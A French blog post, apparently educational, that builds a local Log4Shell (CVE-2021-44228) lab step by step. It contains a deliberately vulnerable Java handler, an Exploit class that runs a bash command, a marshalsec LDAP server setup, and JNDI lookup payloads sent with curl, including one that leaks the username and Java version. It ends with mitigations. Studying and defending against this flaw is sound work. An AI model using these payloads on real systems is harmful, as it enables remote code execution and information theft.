CVE-2021-44228 et Apache Log4j (2e partie)

Contexte

avertissement Ces informations sont diffusées uniquement à des fins pédagogiques. Si vous réalisez des tests, cela doit être fait sur des serveurs dont vous êtes autorisés à le faire.

Dans le billet précédent, nous avons parlé de la faille de sécurité et notamment des solutions pour s’en prémunir.

Nous avons approfondir le principe de la faille de sécurité pour mieux la comprendre et de voir pourquoi les solutions de contournement fonctionnent.

Pour exploiter la faille de sécurité, nous avons besoin du pré-requis suivants :

  1. Une cible (une application Java avec une version de log4j vulnérable),

  2. L’application doit afficher dans les journaux une information envoyée par l’attaquant (sans protection),

  3. Des serveurs pour envoyer le code à exécuter.

La cible

Pour commencer, nous avons besoin d’une application vulnérable. Nous allons déveloper une application dans ce sens.

Nous utilisons une version de log4j non corrigé.

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.14.1</version>
</dependency>

Le code

Nous allons écrire un code qui pose problème, pour cela nous utilisons un handler d’un service web.

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName()); (1)

  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeaders().getFirst("user-agent"); (2)

    log.info("Request user-agent: {}", userAgent); (3)

    ...
  }
}
  1. Récupération de l’instance de Logger Log4j.

  2. Récupération d’information à partir de la requête.

  3. Utilisation directe de l’information pour l’afficher dans le journal.

astuce Le code complet est disponible sous github

avertissement Pour limiter les dépendances, j’utilise le serveur web inclus avec le JDK. A ce niveau, le principe est le même quelque soit la solution utilisée comme JAX-RS, Spring, Quarkus ou autres.

L’exécution

Pour le compiler, à partir du dépot, il suffit de réaliser les actions suivantes :

git clone https://github.com/lilian-benoit/log4jshell-poc.git
cd log4jshell-poc
mvn package

Puis pour le lancer, il faut poursuivre avec les actions suivantes :

java -jar target/log4shell-poc-0.1.0.jar

Il devrait s’afficher le message suivant :

19:35:25.216 [main] INFO  fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Serveur démarre....

avertissement Nous avons à ce stade remplir l’objectif des deux premiers pré-requis. C’est à dire le point 1) et 2)

Code à exécuter

Le but de ce billet est l’apprentissage, donc le code à executer sera simplement la création d’un fichier /tmp/exploit.txt.

avertissement Le code fourni fontionne uniquement sur Linux. Je laisse le soin au lecteur sous Windows de faire les modifications nécessaires vis à vis de son système.

Le code est dans un bloc statique afin qu’il soit exécuté par la JVM lors du chargement de la classe via le chargeur de classes.

public class Exploit {
    static {
        try {
        	String command = "touch /tmp/exploit.txt";
        	String[] commands = {"bash", "-c", command};

        	System.out.println("cmd : "+ commands[0]);
            int result = java.lang.Runtime.getRuntime().exec(commands).waitFor();
            System.out.println("result : "+ result);
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

astuce Le code complet est disponible sous github

Mise en oeuvre

Nous devons mettre en oeuvre différentes briques pour exploiter la faille et réussir l’exécution du code sur la cible :

  • Serveur LDAP

  • Serveur Web

Nous allons étudier la séquence via le schéma suivant :

Log4j CVE

La cinématique est la suivante :

  1. L’attaquant appelle notre cible en lui passant des informations malveillantes dans la requête. Dans notre cas, c’est l’en tête user-agent

  2. La cible via la faille Log4j va analyser le message et appeler l’annuaire LDAP via JNDI. Dans notre cas, c’est l’url ldap://ldap-malveillant:1389

  3. L’annuaire LDAP renvoie les informations ainsi que le code pour chargeant l’exploit

  4. Le code malveillant va récupérer le code à exécuter via un serveur web (moyen le plus simple et le moins bloqué) Dans notre cas, c’est l’url http:// web-malveillant/…​

  5. Le serveur web retourne le code Java compilé

  6. Le code est chargé et via le bloc statique, le code est ainsi exécuté.

Le serveur web.

Il faut commencer par compiler le code de l’exploit.

git clone https://github.com/lilian-benoit/log4jshell-poc.git
cd log4jshell-poc/src/test/java
javac Exploit.java

puis le rendre disponible via un serveur web

# Si vous avez un JDK 18
jwebserver -p 8888

Après le lancement, vous obtiendrez le message suivant :

Binding to loopback by default. For all interfaces use "-b 0.0.0.0" or "-b ::".
Serving /.../log4shell-poc/src/test/java and subdirectories on 127.0.0.1 port 8888
URL http://127.0.0.1:8888/

avertissement Si vous n’avez pas encore de JDK 18, vous pouvez utiliser node ou python. Exemple de commande avec Python3 : python3 -m http.server 8888

Le serveur LDAP

Nous avons besoin d’un serveur LDAP spécial qui permet de renvoyer du code qui appellera une url. Pour cela, nous allons le projet marshalsec de mbechler.

Il n’existe pas de version binaire. Il faut le compiler à partir des sources. Voici les commandes à taper pour compiler à partir des sources (Java 8 requis):

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

Pour l’exécution, nous allons utiliser la classe marshalsec.jndi.LDAPRefServer Lors d’un interrogation LDAP, il faut lui préciser en paramètre l’url afin de récupérer notre exploit.

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Une fois démarré, il affiche le message suivant :

Listening on 0.0.0.0:1389

Exécution

Tout est en place. Il nous reste à exécuter l’attaque sur la cible.

Nous reprenons la première action qui consiste à appeler la cible avec une requête HTTP. Pour cela, nous utilisons l’outil curl. Pour information, le programme cible écoute sur le port 8500.

astuce Le programme principal est disponible sous github

curl 127.0.0.1:8500 -H 'user-agent: ${jndi:ldap://127.0.0.1:1389/#Exploit}'

Nous obtenons le résultat suivant :

<h1>Voici le user-agent, ${jndi:ldap://127.0.0.1:1389/#Exploit}!</h1>

Nous allons voir la chaine d’évènement pour suivre le déroulé. En l' étape 2, la cible appelle bien l’annuaire LDAP. Nous retrouvons la trace suivante coté de l’annuaire

Send LDAP reference result for #Exploit redirecting to http://127.0.0.1:8888/Exploit.class

avertissement A noter que le code est simple, donc la classe a télécharger paramétrée uniquement au lancement du programme LDAP. Rien n’empêche un serveur plus complexe qui traiter la requête LDAP pour renvoyer vers la bonne classe.

Puis comme prévu dans l' étape 4, la cible appelle le serveur web avec l’url. Nous trouvons la trace suivante coté serveur web.

127.0.0.1 - - [25/déc./2021:10:42:24 +0100] "GET /Exploit.class HTTP/1.1" 200 -

Afin coté de la cible, la classe est bien chargée dans l' étape 6 et nous pouvons voir les traces de l’exécution. Ensuite, nous n’avons fait au plus simple pour la classe de l’exploit donc nous obtenons un problème de conversion ClassCastException.

Chargement...
cmd : bash
result : 0
2021-12-25 11:37:58,279 Thread-2 WARN Error looking up JNDI resource [ldap://127.0.0.1:1389/#Exploit]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '#Exploit'
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
	at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)

  ...

Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	... 48 more

11:27:50.892 [Thread-2] INFO  fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Request user-agent: ${jndi:ldap://127.0.0.1:1389/#Exploit}

Nous pourrions arranger le code pour éviter de faire sortir ce type d’exception dans les traces. Mais en tout cas, l’exploit a fonctionné et nous avons obtenu notre fichier /tmp/exploit.txt

avertissement Imaginer maintenant si le programme tourne avec un utilisateur avec beaucoup de priviliège (comme root) et si la commande à exécuter consiste à supprimer tous les fichiers de l’ordinateur.

JVM Récente

Dans le billet précédent, j’indiquais les versions du JDK qui permettent de ne pas charger du code arbitraire. Dans notre cas, c’est la classe malveillante retournée par notre annuaire LDAP qui ne sera pas chargée.

C’est à dire, nous appelons bien l’annuaire LDAP mais pas le serveur web. Nous obtenons la sortie suivante :

23:13:16.325 [Thread-2] INFO  fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Request user-agent: Reference Class Name: foo

Effectivement, le code malveillant n’est pas exécuté. Mais en appelant l’annuaire LDAP, nous pouvons divulguer des informations. En effet, si je modifie la requête initiale pour utiliser d’autres Lookups (Lien vers le manuel de Log4j) :

Nous pouvons utiliser d’autres "Lookup", par exemple :

  • Environnment Lookup avec env:USER

  • Java Lookup avec java:version

Nous obtenons la commande suivante :

curl 127.0.0.1:8500 -H 'user-agent: ${jndi:ldap://127.0.0.1:1389/#User/${java:version}/${env:USER}}'

Du coté de l’annuaire LDAP corrompu, nous obtenons les valeurs :

Send LDAP reference result for #User/Java version 17.0.1/lbenoit redirecting to http://127.0.0.1:8888/Exploit.class

Donc, le programme cible tourne avec un JDK 17.0.1 avec l’utilisateur lbenoit.

Conclusion

La montée de version d’une librairie avec une versions corrective est plus ou moins longue en fonction du processus de développement et de déploiement.

Il est intéressant de comprendre une faille de sécurité pour savoir comment s’en prémunir. Dans notre cas précis, les deux options log4j2.formatMsgNoLookups ou LOG4J_FORMAT_MSG_NO_LOOKUPS permettent de désactiver l’utilisation de ces fameux Lookup au sein des messages. De ce fait, cette faille n’est plus exploitable.

En effet, leur utilisation est plutôt pour la définition des patterns de messages. Voici un exemple pour d’un Lookup JNDI.

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
  </PatternLayout>
</File>

Open Source

Pour rappel, Log4j fait partie du projet Apache logging service. C’est à dire la journalisation pour un ensemble de langages : Java, Kotlin, Scala, C++, .Net et d’autres projets associés. Ce n’est pas une grosse société derrrière mais c’est une petite équipe de bénévole.

Malgré leur petit nombre, ils ont été prompt à fournir des correctifs. C’est l’occasion de les soutenir en faisant un don à la fondation Apache.